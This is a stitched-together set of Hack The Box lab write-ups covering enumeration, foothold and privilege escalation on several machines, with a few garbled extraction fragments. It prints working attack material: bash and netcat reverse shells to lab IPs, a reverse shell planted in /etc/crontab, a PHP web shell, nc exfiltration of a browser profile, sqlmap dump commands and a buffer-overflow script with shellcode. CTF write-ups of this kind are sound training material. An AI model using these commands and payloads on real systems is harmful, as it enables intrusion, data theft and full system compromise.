Use the commands above to clone the repository and compile the binary. Next, create a file
named shell with the following contents:
#!/bin/bash
bash -c "/bin/bash -i >& /dev/tcp/10.10.14.3/4444 0>&1" &
wget 10.10.14.3:8000/logrotten
wget 10.10.14.3:8000/shell
chmod +x logrotten shell
Next, we can add some contents to the log file in order to trigger rotation.
Page 1 / 8
SYNOPSIS
Canape is a moderate difficulty machine, however the use of a file (.git) that is not included in the
dirbuster wordlists can greatly increase the difficulty for some users. This machine also requires a
basic understanding of Python to be able to find the exploitable point in the application.
Page 2 / 8
Enumeration
Nmap
Page 3 / 8
Web Fuzzing
Attempting to fuzz Apache to find files and directories is a bit more challenging, as all requests
return 200. By using Wfuzz, it is possible to filter out false positives.
Using Wfuzz with the SecLists’ Discovery/Web-Content/common.txt file immediately reveals a .git
directory. Accessing the config directory finds a hostname git.canape.htb (which should be
added to /etc/hosts) as well a project named simpsons.git.
Page 4 / 8
Exploitation
Python Pickle
With access to the source of the Python flask application which runs the website, it is possible to
develop an exploit to abuse the function for storing submitted quotes.
The submit route of the flask app checks to make sure the character variable contains a valid
Simpsons character, however passing the name directly will cause the app to create an invalid
pickle file. By including the character name as part of the os command and splitting the pickle
data between character and quote, the check will pass and the data will be recombined
server-side.
Page 5 / 8
Privilege Escalation
Exploit: https://www.exploit-db.com/exploits/44913/
Explanation: https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
Running ps aux reveals that Apache CouchDB is running as the homer user.
A quick search finds CVE-2017-12636, which is a code execution vulnerability in CouchDB < 2.1.0.
The Exploit-DB proof of concept has some issues in this instance, so directly using the cURL
example from the explanation link is a good alternative.
Page 6 / 8
Once an admin account is created, full read access is gained to the databases. The passwords
database can be listed with curl 127.0.0.1:5984/passwords/_all_docs --user ‘arrexel:password’
and read by changing _all_docs to the doc ID.
The first ID listed contains the SSH password for homer in plaintext.
Page 7 / 8
Root - Sudo NOPASSWD
Running sudo -l as homer reveals that there is a NOPASSWD entry for python pip.
Simply creating a setup.py file and running sudo pip install . will execute the file as root.
Page 8 / 8
Cascade
20th July 2020 / Document No D20.100.81
Difficulty: Medium
Classification: Confidential
Synopsis
Cascade is a medium difficulty Windows machine configured as a Domain Controller. LDAP
anonymous binds are enabled, and enumeration yields the password for user r.thompson ,
which gives access to a TightVNC registry backup. The backup is decrypted to gain the password
for s.smith . This user has access to a .NET executable, which after decompilation and source
code analysis reveals the password for the ArkSvc account. This account belongs to the AD
Recycle Bin group, and is able to view deleted Active Directory objects. One of the deleted user
accounts is found to contain a hardcoded password, which can be reused to login as the primary
domain administrator.
Skills Required
LDAP Enumeration
SMB Enumeration
Processing SQLite Databases
Reverse Engineering .NET Assemblies
Skills Learned
TightVNC Password Extraction
AES Encryption
Active Directory Enumeration
Active Directory Recycle Bin
Enumeration
Let's start by running an Nmap scan.
ports=$(nmap -Pn -p- --min-rate=1000 -T4 10.10.10.182 | grep ^[0-9] | cut -d '/'
-f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -Pn -sC -sV 10.10.10.182
The scan reveals that LDAP (389), SMB (445) and WinRM (5985) are available. Let's enumerate
SMB for any open shares.
smbclient -L 10.10.10.182
There don't seem to be any passwords in the user description fields, so we can start to examine
some of the other user attributes. One of them for the user r.thompson is called
cascadeLegacyPwd , which contains what seems to be a Base64 encoded string. Let's decode it.
The output seems to be a password. From the windapsearch output we also know that the
sAMAccountName is r.thompson , so this can be used as the username. Let's use Evil-WinRM to
try to connect as r.thompson .
The login failed, which means we don't have PowerShell Remoting permissions.
SMB
Let's use smbmap to verify if we have access to any of the SMB shares with the above credentials.
smbmap -H 10.10.10.182 -u r.thompson -p 'rY4n5eva'
From the available shares the only non-default share that we have access to is the Data share.
The only folder we have access to is IT , which contains the four sub-folders Email Archives ,
LogonAudit , Logs and Temp .
cat Meeting_Notes_June_2018.html
<SNIP>
We will be using a temporary account to perform all tasks related to the network
migration and this account will be deleted at the end of 2018 once the migration
is complete. This will allow us to identify actions related to the migration in
security logs etc. Username is TempAdmin (password is the same as the normal
admin account password).
</SNIP>
The email exchange hints to the existence of a TempAdmin account, that has the same password
as the default Administrator account.
The Logs folder contains the Ark AD Recycle Bin and DCs folders, which in turn contain
ArkAdRecycleBin.log and dcdiag.log respectively.
ArkAdRecycleBin.log contains the text logs for a program called ARK AD RECYCLE BIN
MANAGER .
The log informs us that the program is running in the context of ArkSvc and that the TempAdmin
account has been moved to the recycle bin.
Finally, Temp contains folders for the users r.thompson and s.smith . The file VNC
Install.reg can be found inside s.smith 's folder. It seems to be a backup of the registry
settings for TightVNC , a desktop remote control program.
Foothold
TightVNC
The registry file found contains a Password attribute, with the corresponding value consisting of
hexadecimal characters.
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
This writeup demonstrates how TightVNC passwords can be decrypted using Metasploit. Use the
commands below to decrypt the password.
msfconsole
msf5 > irb
key="\x17\x52\x6b\x06\x23\x4e\x58\x07"
require 'rex/proto/rfb'
Rex::Proto::RFB::Cipher.decrypt ["6BCF2A4B6E5ACA0F"].pack('H*'), key
The key variable is the known hardcoded DES key that has been extracted from the program.
The Rex::Proto::RFB::Cipher.decrypt function is used to decrypt the password with the
provided key.
The password for s.smith is revealed as sT333ve2 . Let's check if this user belongs to the
Remote Management Users group, as this would allow us to connect using Evil-WinRM .
This works and a PowerShell Remoting connection is established. The user flag is located in
C:\Users\s.smith\Desktop .
Lateral Movement
Audit
The Get-ADUser cmdlet can be used to list the properties for the user s.smith .
The command reveals that the user is a member of the Audit Share group, and also that the
logon script MapAuditDrive.vbs is assigned to this account. Active Directory logon scripts are
saved in the NETLOGON share by default.
The share is accessible and the script is present along with another script called
MapDataDrive.vbs . Let's download and read them.
get MapAuditDrive.vbs
get MapDataDrive.vbs
The MapDataDrive.vbs script mounts the Data drive that we previously accessed as
r.thompson , while the MapAuditDrive.vbs script maps a previously inaccessible drive called
Audit$ .
'MapAuditDrive.vbs
Option Explicit
Dim oNetwork, strDriveLetter, strRemotePath
strDriveLetter = "F:"
strRemotePath = "\\CASC-DC1\Audit$"
Set oNetwork = CreateObject("WScript.Network")
oNetwork.MapNetworkDrive strDriveLetter, strRemotePath
WScript.Quit
SQLite
Let's download RunAudit.bat for further examination.
CascAudit.exe "\\CASC-DC1\Audit$\DB\Audit.db"
The batch file executes CascAudit.exe with a database file located in the DB folder passed as
input. Download the database and use the file command to check the file type.
It is identified as a SQLite database. The sqlitebrowser utility can be used to inspect the DB
contents.
sqlitebrowser Audit.db
The table LDAP contains a password for the ArkSvc user. It seems to be base64 encoded, but
decoding it does not return any useful output, which indicates that the data is encrypted.
CascAudit
Since this database is used by the CascAudit.exe executable let's download and attempt to
decompile it. This may help us to understand how the password was encrypted. The file
command can be used to identify the type of executable.
It's identified as a .NET executable, so we can use a .NET decompiler such as dnSpy to open it. It
can be run on Linux using wine. Download the latest 64-bit release from the official GitHub repo.
The program opens the SQLite database, reads the password and decrypts it with the
Crypto.DecryptString function, using the key c4scadek3y654321 . The decrypt function does
not seem to exist in the executable, so it might be loaded through a DLL. Looking at the Audit
share, CascCrypto.dll is identified. Download it from the share and open it using dnSpy . The
relevant code is as follows.
A 128-bit AES algorithm is used to decrypt the password. The encryption mode is set to 1 and
the IV is set to 1tdyjCbY1Ix49842 . According to the .NET documentation, mode 1 corresponds to
CBC. The pyaes module can be used to decrypt the password.
key = b"c4scadek3y654321"
iv = b"1tdyjCbY1Ix49842"
aes = pyaes.AESModeOfOperationCBC(key, iv = iv)
decrypted = aes.decrypt(b64decode('BQO5l5Kj9MdErXx6Q6AGOw=='))
print(decrypted.decode())
The decryption is successful, revealing the password for the ArcSvc account to be
w3lc0meFr31nd . We confirm that ArkSvc is in the Remote Management Users group.
A PowerShell Remoting session as ArkSvc is established, but the root flag is not available.
Privilege Escalation
Let's enumerate the group membership of our current user.
whoami /all
The user is identified to belong to the AD Recycle Bin group. The Active Directory Recycle Bin is
used to recover deleted Active Directory objects such as Users, Groups, OUs etc. The objects keep
all their properties intact while in the AD Recycle Bin, which allows them to be restored at any
point. Let's enumerate the AD Recycle Bin for interesting objects using the Get-ADObject
command, and filtering only deleted objects with the isDeleted property.
A filter can be applied to retrieve user accounts only, using the objectclass property.
The TempAdmin account that was mentioned in the email correspondence is returned. Let's
further enumerate this user and list the available properties. The DisplayName filter is used to
select only that specific account.
Get-ADObject -ldapfilter "(&(objectclass=user)(DisplayName=TempAdmin)
(isDeleted=TRUE))" -IncludeDeletedObjects -Properties *
A property called cascadelegacyPwd is returned, which looks very similar to the one that
r.thompson had, and also looks as a Base64 encoded string. Let's decode it.
The returned string looks like a password but the user is deleted, so we cannot use it to log in as
TempAdmin . However, we recall the email correspondence mentioned that the Administrator
account has the same password as the TempAdmin account. Let's login as the Administrator
instead.
The login was successful and the root flag can be read.
Celestial
25th August 2018 / Document No D18.100.15
Prepared By: Alexander Reid (Arrexel)
Machine Author: 3ndG4me
Difficulty: Medium
Classification: Official
Page 1 / 5
SYNOPSIS
Celestial is a medium difficulty machine which focuses on deserialization exploits. It is not the
most realistic, however it provides a practical example of abusing client-size serialized objects in
NodeJS framework.
Page 2 / 5
Enumeration
Nmap
Page 3 / 5
Exploitation
NodeJS Deserialization
Viewing the NodeJS server in a browser presents a 404, however after refreshing the page,
some text is displayed. Looking at cookies reveals a profile entry, which is a base64-encoded
JSON string. Attempting to change the num value to an unquoted string will cause an error which
reveals some key information.
The username is sun and the data appears to be unserialized. A quick search finds several
guides on building a serialized payload for code execution through NodeJS. In this case, an exec
function can be passed as the username and it will be executed.
Page 4 / 5
Privilege Escalation
Root
As the sun user is part of the admin group, it has access to read most log files. Looking at
/var/www/syslog reveals a root cronjob which executes /home/sun/Documents/script.py every
5 minutes.
As the script is owned by the current user, modifying the script to create a reverse shell is all that
is needed for escalation.
Page 5 / 5
Chaos
25th April 2019 / Document No D19.100.18
Prepared By: MinatoTW
Machine Author: felamos
Difficulty: Medium
Classification: Official
Page 1 / 19
SYNOPSIS
Chaos is a “medium” difficulty box which provides an array of challenges to deal with. It requires
a fair amount enumeration of the web server as well as enumerating vhosts which leads to a
wordpress site which provides a file containing credentials for an IMAP server. The drafts folder
contained sensitive information which needed cryptographical knowledge to decipher. The
decrypted information leads to a page hosting a vulnerable Latex application which helps to gain
a foothold. Password reuse helps to land a shell as a user but in a restricted shell which can be
bypassed by abusing a GTFObin. Escaping the shell gives access to the user’s firefox folder
containing saved logins which on decrypting gives access to a webadmin console and the root
shell.
Page 2 / 19
ENUMERATION
NMAP
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.120 | grep ^[0-9] | cut -d
'/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sV -sC -T4 10.10.10.120
It’s running Apache on port 80, two instances of both IMAP and POP3 servers and webmin
console on port 10000.
Page 3 / 19
APACHE - PORT 80
On accessing Apache the server returns a message saying “Direct IP not allowed”.
So, probably it’s expecting to use a vhost to access the server. However the message isn’t a
standard apache page.
Now the website greets us with a static website with html pages.
Page 4 / 19
GOBUSTER
Running gobuster using directory-list-2.3-medium.txt on both the vhost and IP address.
Page 5 / 19
It hosts some kind of password protect page. Lets enumerate it with wpscan before going further.
WORDPRESS
This will enumerate all the plugins as well as users on the website. The scan did find some
vulnerabilities but they need authentication. However, on enumerating users the scanner found a
username human.
On trying the username as the password for the protected page access is granted.
Page 6 / 19
IMAP SERVER
As SSL is enabled we’ll need to connect with openssl.
The default Inbox folder didn’t have any received mails. Although there were Drafts and Sent
folders. Selecting the drafts folder listed an existing mail.
Page 7 / 19
Fetching the mail revealed a message and two attachments encoded in base64.
rue:
while T
chunk = infile.read(chunksize)
Page 8 / 19
chunk += b' ' * (16 - (len(chunk) % 16))
outfile.write(encryptor.encrypt(chunk))
def getKey(password):
hasher = SHA256.new(password.encode('utf-8'))
return hasher.digest()
The getKey() function from the script returns the password hashed in SHA256. From the mail we
know that the password is “sahay”. The encrypt() functions takes in the key and the message file
to encrypt. The chunksize is set to 64*1024 bits which is equal to 16 bytes, the standard block
size of AES. Next it finds the size of the file and then uses zfill(16) in order to make it a block. The
function zfill() fills a value from the left with zeros until it’s equal to the passed argument. It then
initializes a random IV of 16 bytes. IV stands for Initialization vector which is used to add
randomness to the encrypted message. Then an AES object is created in CBC mode using the
key and IV.
chunksize = 64*1024
outputFile = "en" + filename
filesize = str(os.path.getsize(filename)).zfill(16)
IV = Random.new().read(16)
Once done it opens up the message and the output file. It proceeds to write the filesize and IV to
the encrypted file which is good for us because without the IV it would be impossible to decrypt
the message.
outfile.write(filesize.encode('utf-8'))
outfile.write(IV)
Then it enters into a loop and starts reading the file contents chunk by chunk. It stops if the chunk
size is 0. If the chunk size is less than 16, it is padded with spaces so create a block. Each chunk
is then encrypted and written to the file.
while True:
chunk = infile.read(chunksize)
Page 9 / 19
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - (len(chunk) % 16))
outfile.write(encryptor.encrypt(chunk))
To decrypt the contents a similar script is needed which reads the IV from the file and then uses it
to decrypt the chunks. First import the required packages. Define a function decrypt which takes
in the key and encrypted filename. We use the same chunksize as earlier. Open the file and read
16 bytes of filesize which isn’t significant and then the IV from the next 16 bytes.
rue:
while T
chunk = f.read(chunksize)
if len(chunk) == 0:
break
outfile.write(decryptor.decrypt(chunk))
def getKey(password):
hasher = SHA256.new(password.encode('utf-8'))
return hasher.digest()
decrypt(getKey("sahay"), "enim_msg.txt")
Page 10 / 19
Next create the AES object and open the output file. Start reading chunks and break if the size is
equal to 0. Then decrypt the chunks and write to the outfile. We use the same getKey() function
as the script and then call the decrypt() method with the key and encrypted file.
The resulting file consists of base64 encoded content which on decoding gives the message.
python dec.py
cat dec_msg.txt | base64 -d
The invalid input error is due to the padding added by the script. From the message we retrieve a
directory on the web server.
Page 11 / 19
FOOTHOLD
EXPLOITING LATEX
The page was a pdf maker which says that it’s on hold. The functionality wasn’t really working.
Page 12 / 19
Using Burp we can intercept the requests and examine them.
The server returned some logs which were from PdfTex which is used to create PDF files from
.tex source and from the LaTex family. Some packages from these are vulnerable to code
execution. It is well described here https://0day.work/hacking-with-latex/ .
To execute a command the syntax is \input|command . However on using it we notice that it’s
blacklisted.
Page 13 / 19
But according to the page we can bypass it using \immediate\write18{command} which works
as intended.
Now, a netcat reverse shell can be used to get a shell on the box.
Page 14 / 19
LATERAL MOVEMENT
After getting a shell as www-data get a tty using python. Due to password re-use we can su to
ayush with the password “jiujitsu”.
However, due to restricted shell we can’t move to different folders from within the shell.
On checking the PATH variable it appears to be “/home/ayush/.app” . So, if we can list it’s
contents we could leverage a binary allowed to be used.
We find ‘ls’ to be restricted however another directory listing command ‘dir’ works.
Page 15 / 19
We have tar and ping available out of which tar is a GTFObin.
Issuing this command executes /bin/sh breaking us out of the shell. However, the PATH should
be fixed as it wasn’t set to its original value.
Page 16 / 19
PRIVILEGE ESCALATION
The user’s folder consists of a .mozilla folder which has a firefox profile in it.
This can be used to gain saved credentials if any, using tools like firefox_decrypt or firepwd .
cd /tmp
zip -r mozilla.zip ~/.mozilla
nc 10.10.16.67 1234 < mozilla.zip
Page 17 / 19
Now extract the contents and use firefox_decrypt on the profile. We can re-use the password
“jiujitsu” yet again to decrypt the contents.
unzip mozilla.zip
git clone https://github.com/unode/firefox_decrypt
cd firefox_decrypt
./firefox_decrypt.py ../home/ayush/.mozilla/firefox/ # password :
jiujitsu
We obtain the password for the user root as Thiv8wrej~ using which we can su to root.
Page 18 / 19
Once logged in, click on “Others” on the dashboard menu and then select command shell.
And a command shell pops up which can be used to issue commands as root.
Page 19 / 19
Craft
23rd August 2019 / Document No D19.100.47
Prepared By: MinatoTW
Machine Author: Rotarydrone
Difficulty: Medium
Classification: Official
Page 1 / 17
SYNOPSIS
Craft is a medium difficulty Linux box, hosting a Gogs server with a public repository. One of the
issues in the repository talks about a broken feature, which calls the eval function on user input.
This is exploited to gain a shell on a container, which can query the database containing a user
credential. After logging in, the user is found to be using vault to manage the SSH server, and the
secret for which is in their Gogs account. This secret is used to create an OTP which can be used
to SSH in as root.
Page 2 / 17
ENUMERATION
NMAP
After a full port scan, we find SSH running on port 22 and 6022. An Nginx server is running on
port 443.
HTTPS
After browsing to port 443 and accepting the certificate, we see the homepage for Craft.
Page 3 / 17
The two icons on the top right point to two vhosts, “api.craft.htb” and “gogs.craft.htb”. Adding
both of them to the hosts file and browsing to gogs.craft.htb, we come across a self-hosted Gogs
server.
Clicking on explore takes us to the publicly available repositories, where we find Craft/craft-api.
Gogs Enumeration
Page 4 / 17
There’s one open issue by the user Dinesh at https://gogs.craft.htb/Craft/craft-api/issues/2, which
exposes the API token and the request to the brew endpoint.
curl -H 'X-Craft-API-Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-w
W1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -H "Content-Type: application/json" -k
-X POST https://api.craft.htb/api/brew/ --data
'{"name":"bullshit","brewer":"bullshit", "style": "bullshit", "abv": "15.0")}'
Saving this API token for later, we proceed to look at the latest commit by the user Dinesh that is
referenced in the issue.
Looking at the commit, it’s seen that a call to eval was added which checks if the requested “abv”
value is greater than 1. As there’s no sanitization in place, we can inject python code in the
Page 5 / 17
request, which will get executed by the eval call. The eval function can evaluate and execute any
python code given to it. For example:
The addition was evaluated by substituting the value for var and then adding. Similarly, we can
execute OS command by using the inline import function in python.
The __import__() function can import a module and then call it’s functions inline. We can use this
to execute a reverse shell, and gain a foothold on the box.
Looking at the commits in the repo, we find another commit by Dinesh, which added a test script.
Page 6 / 17
The script checks if the change made to the brew endpoint works as intended. Download the
script and execute to check if the changes made to the code are still valid.
After downloading the script, add the following lines at the top to disable invalid certificate
warnings.
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
Ensure that the api.craft.htb VHOST is added to the hosts file and then run the script.
We received the response which is exactly like the one configured in the issue. So, possibly the
code wasn’t patched and could be exploited through eval injection.
Edit the script and add the nc reverse shell command to the abv value, the second request can
be removed.
Page 7 / 17
#!/usr/bin/env python
import requests
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
json_response = json.loads(response.text)
token = json_response['token']
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'
json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers,
data=json_data, verify=False)
print(response.text)
Page 8 / 17
FOOTHOLD
Looking around we see the “.dockerenv” file in the ‘/ ‘folder which confirms that we’re on a
container. Looking in the /opt/app folder, we find a script named dbtest.py, which executes SQL
statements on the MySQL host (not accessible externally).
import pymysql
from craft_api import settings
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)
try:
with connection.cursor() as cursor:
sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
cursor.execute(sql)
result = cursor.fetchone()
print(result)
Page 9 / 17
finally:
connection.close()
Executing the script on the container we get a reply which confirms that the database host is up.
The settings are imported from the craft_api folder, looking at it we find db credentials as well as
the db name.
Let’s create a new script to view all the tables in the database. It needs to be in the same folder
to import the settings. Create the following script locally.
#!/usr/bin/env python
import pymysql
from craft_api import settings
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)
try:
Page 10 / 17
with connection.cursor() as cursor:
sql = "show tables"
cursor.execute(sql)
result = cursor.fetchall()
print(result)
finally:
connection.close()
We switched the query to list all the tables in the database, and used the fetchall() method to list
all rows. This can be found in the pymysql docs here. Start an HTTP server and download the
script to the box.
Next, edit the script to get all the data in the user table. Switch the SQL query to the one below
and redownload the script to the box.
Page 11 / 17
Executing the script gives us the credentials for the users Dinesh, Ebachman and Gilfoyle.
Page 12 / 17
LATERAL MOVEMENT
Trying to SSH in with the passwords fail, but we can login as Gilfoyle to the Gogs server. Browse
to https://gogs.craft.htb/user/login, using the credentials Gilfoyle / ZEU3N8WNM2rh4T to login.
Looking at his private repositories we find a “craft-infra” repository. The repository contains a .ssh
folder with the private key for the user.
Page 13 / 17
Copy the key locally, and use SSH to login. The server asks for the password to the encrypted
key, and we can input Gilfoyle’s password gained from the database.
Page 14 / 17
PRIVILEGE ESCALATION
Looking at the user’s home folder we see a file named “.vault-token”.
A quick google search about it brings us to this page. Going back to Gilfoyle’s profile on Gogs,
we see a vault folder containing a secret.sh file. The user has configured “Vault” in order to
manage SSH logins.
Looking at the SSH secrets documentation for Vault here, we see that first a role has to be
created for a particular user.
Page 15 / 17
Looking back at the secrets.sh file, we see that the default user is root and roles is set to
“root_otp”. This can now be used to create an OTP for the root user in order to login. The format
can be found in the “Automate it!” section in the page.
Page 16 / 17
Following the same format, the command to generate the root OTP will be:
The command provides the OTP, and then performs an SSH login. The SSH password is the OTP
given by vault.
Page 17 / 17
Curling
08th May 2019 / Document No D19.100.19
Prepared By: MinatoTW
Machine Author: l4mpje
Difficulty: Easy
Classification: Official
Page 1 / 10
SYNOPSIS
Curling is an Easy difficulty Linux box which requires a fair amount of enumeration. The password
is saved in a file on the web root. The username can be download through a post on the CMS
which allows a login. Modifying the php template gives a shell. Finding a hex dump and reversing
it gives a user shell. On enumerating running processes a cron is discovered which can be
exploited for root.
Page 2 / 10
ENUMERATION
NMAP
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.150 | grep ^[0-9] | cut -d
'/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.10.150 --open
APACHE
Page 3 / 10
The page contains two usernames “Super user” and Floris.
Checking the HTML source of the page reveals a comment saying secret.txt .
Going to the admin page at http://10.10.10.150/administrator/ and trying to login with the
username Floris and password Curling2018! logs us in.
Page 4 / 10
FOOTHOLD
On the right side under Configuration click on Templates > Templates > Protostar.
Now click on a php file like index.php and add command execution.
system($_REQUEST['pwn']);
Page 5 / 10
Click on save and navigate to /index.php to issue commands.
Page 6 / 10
LATERAL MOVEMENT
HEX DUMP
The file looks like a hex dump done using xxd which can be reversed.
cd /tmp
cp /home/floris/password_backup .
cat password_backup | xxd -r > bak
file bak
Page 7 / 10
The resulting file is bzip2 compressed.
The file appears to be repeatedly archived. The steps to decompress it are,
bzip2 -d bak
file bak.out
mv bak.out bak.gz
gzip -d bak.gz
file bak
bzip2 -d bak
file bak.out
tar xf bak.out
cat password.txt
The file found was password.txt which is the password for floris. We can now SSH in as floris with
the discovered password.
Page 8 / 10
PRIVILEGE ESCALATION
ENUMERATION
We enumerate the running crons using pspy. Download the smaller binary and transfer it the box.
wget
https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy64s
According to curl manpage, the -K option is used to specify a config file. The cron uses input as
the config and outputs to report.
The input file is owned by our group, so we can write our own config. From the manpage we
know that the “output” parameter can be used to specify the output file. We can create a
malicious crontab and overwrite it on the box.`
Page 9 / 10
MANIPULATING THE CONFIG
First create a malicious crontab locally and start a simple http server.
cp /etc/crontab .
echo '* * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i
2>&1|nc 10.10.14.2 1234 >/tmp/f ' >> crontab
python3 -m http.server 80
url = "http://10.10.14.2/crontab"
output = "/etc/crontab"
Page 10 / 10
DevOops
October 2018 / Document No D18.100.21
13th
Prepared By: Alexander Reid (Arrexel)
Machine Author: lokori
Difficulty: Medium
Classification: Official
Page 1 / 7
SYNOPSIS
DevOops is a relatively quick machine to complete which focuses on XML external entities and
Python pickle vulnerabilities to gain a foothold.
Page 2 / 7
Enumeration
Services
Masscan finds ports 22 and 5000 open. Nmap identifies these services as OpenSSH and
Gunicorn.
Page 3 / 7
Dirbuster
Dirbuster finds /feed and /upload. The upload page allows uploading of XML files.
Page 4 / 7
Exploitation
By uploading an XML file which references external entities, it is possible to read arbitrary files on
the target system.
Using the XXE vulnerability to read feed.py reveals a /newpost route in the Python web
application which accepts POST data.
Page 5 / 7
Python Pickle
With access to feed.py, it is fairly straightforward to exploit the newpost route. Simply passing a
base64-encoded pickle exploit will achieve a shell.
Page 6 / 7
Privilege Escalation
Git History
Page 7 / 7
Enterprise
28th October 2017 / Document No D17.100.32
Prepared By: Alexander Reid (Arrexel)
Machine Author: TheHermit
Difficulty: Hard
Classification: Official
Page 1 / 8
SYNOPSIS
Enterprise is one of the more challenging machines on Hack The Box. It requires a wide range of
knowledge and skills to successfully exploit. It features a custom wordpress plugin and a buffer
overflow vulnerability that can be exploited both locally and remotely.
Page 2 / 8
Enumeration
Nmap
Nmap reveals an SSH server, several different versions of Apache and an unknown service on
port 32812. There is a Wordpress install on port 80 and a Joomla install on port 8080.
Page 3 / 8
Dirbuster
Fuzzing the Apache server on port 443 reveals a /files directory, which contains a Wordpress
plugin. It also reveals the domain enterprise.htb (which should be added to the hosts file) as well
as a potential SQL injection vector in lcars_db.php.
Page 4 / 8
Exploitation
SQLMap
Once the lcars plugin is located, SQLMap can be run against it to dump the database and get
some useful information from an unpublished post with the command sqlmap -u
http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1 --threads 10 -D
wordpress -T wp_posts -C post_content --dump
The post contains valid login credentials, and the combination william.riker:u*Z14ru0p#ttj83zS6
grants access to the Wordpress administrator panel, however any attempts to gain a shell will
reveal that Wordpress is run in a Docker container. Dumping the Joomla user list and attempting
to reuse some of the passwords found on Wordpress will grant access to the Joomla
administrator panel. The command to dump the users table is sqlmap -u
http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1 --threads 10 -D joomladb
-T edz2g_users -C username --dump
Page 5 / 8
Docker
While both Wordpress and Joomla are run in a Docker container, the Apache server on port 443
is not. Looking at Joomla, it appears that the /files directory is shared between 443 and 8080,
and can be uploaded to through the Joomla administrator panel. By accessing Components >
EXTPLORER, it is possible to upload a PHP shell and execute it on port 443, which grants a shell
as www-data outside of the Docker container. The user flag can be obtained from
/home/jeanlucpicard/user.txt
Page 6 / 8
Privilege Escalation
LinEnum: https://github.com/rebootuser/LinEnum
Running LinEnum reveals a lot of information about the system. An SUID binary exists at
/bin/lcars. Attempting to run the file requires an access code, which can be obtained by running
ltrace /bin/lcars.
Playing around with the options reveals that 4 (Security) has a buffer overflow, which can be
exploited to gain root access. The payload is fairly simple to generate, however the environment
variables can cause a bit of confusion as it changes the addresses. To avoid that, run gdb with
env - gdb /bin/lcars and pass the payload with cat payload.txt | env - /bin/lcars. Also run unset
env LINES and unset env COLUMNS in both terminal and gdb.
The target does not have Python 2.7 installed, so it is easier to generate the payload locally and
just pipe the output to the binary. Refer to enterprise_bof.py (Appendix A) for a working
example.
The example runs cp /bin/bash /tmp/writeup and chmod 4777 /tmp/writeup, which allows for
root access by running the command /tmp/writeup -p.
Page 7 / 8
Appendix A
import struct
# The below shellcode will copy /bin/bash to /tmp/writeup and chmod 4777 it
# Executing it with /tmp/writeup -p will grant a root shell
shellcode = ""
shellcode += "\xd9\xee\xbd\x8f\x1f\x9f\xe9\xd9\x74\x24\xf4\x5f\x29"
shellcode += "\xc9\xb1\x16\x83\xef\xfc\x31\x6f\x15\x03\x6f\x15\x6d"
shellcode += "\xea\xf5\xe2\x29\x8c\x58\x93\xa1\x83\x3f\xd2\xd6\xb4"
shellcode += "\x90\x97\x70\x45\x87\x78\xe2\x2c\x39\x0e\x01\xfc\x2d"
shellcode += "\x23\xc5\x01\xae\x27\xb5\x21\x81\xc5\x5c\x4c\xf2\x6b"
shellcode += "\xff\xe3\x64\x4c\xd0\x77\x18\xfc\x01\x0f\x90\x95\x29"
shellcode += "\x8a\x21\x16\xea\x74\xa9\xbe\x61\x1a\x49\x1f\x4d\xd3"
shellcode += "\xa6\x68\x8d\x34\xbd\xfb\xbd\x65\x4a\x76\x54\x0e\xd1"
shellcode += "\x03\xd6\xee\x4e\xbf\x9f\x0e\xbd\xbf"
payload = "picarda1\n4\n"
payload += nops
payload += shellcode
payload += "A" * (padding - len(nops) - len(shellcode))
payload += addr
payload += "\n"
print payload
enterprise_bof.py
Page 8 / 8
FluxCapacitor
11th May 2018 / Document No D18.100.04
Prepared By: Alexander Reid (Arrexel)
Machine Author: del_EzjAx34h
Difficulty: Medium
Classification: Official
Page 1 / 8
SYNOPSIS
FluxCapacitor focuses on intermediate/advanced enumeration of web applications as well as
bypassing web application firewall rules. Overall, FluxCapacitor is not overly challenging and
provides a good learning experience for fuzzing HTTP parameters.
Page 2 / 8
Enumeration
Nmap
Nmap reveals only a single open port, which appears to be some type of web application firewall
according to the version details.
Page 3 / 8
Dirbuster
Dirbuster reveals several results, all starting with /sync. Some manual testing shows that /sync
followed by any other text will always yield the same result. Attempting to view the site in Firefox
presents a 403 forbidden error, which reveals that the server is running OpenResty 1.13.6.1.
Page 4 / 8
Exploitation
Attempting to curl the /sync endpoint will result in a timestamp being returned. A bit of testing
reveals that any user-agent containing “Mozilla” will return a 403 error.
Wordlist:
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/burp-parameter-
names.txt
Using the above wordlist, it is possible to fuzz and find a parameter name for the /sync endpoint.
